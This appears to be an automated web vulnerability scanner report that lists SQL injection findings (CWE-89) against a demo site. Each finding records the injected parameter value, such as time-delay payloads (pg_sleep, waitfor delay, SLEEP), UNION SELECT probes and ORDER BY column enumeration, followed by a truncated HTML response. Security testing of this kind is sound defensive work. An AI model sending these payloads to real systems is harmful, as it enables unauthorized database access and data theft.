AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1424
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ')) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1425
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1426
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1427
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or "" "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1428
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ");waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1429Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1430
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1431
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1=0-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1432
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1433
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1434
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1435
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1436
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1437
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# "^"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1438
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1439
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
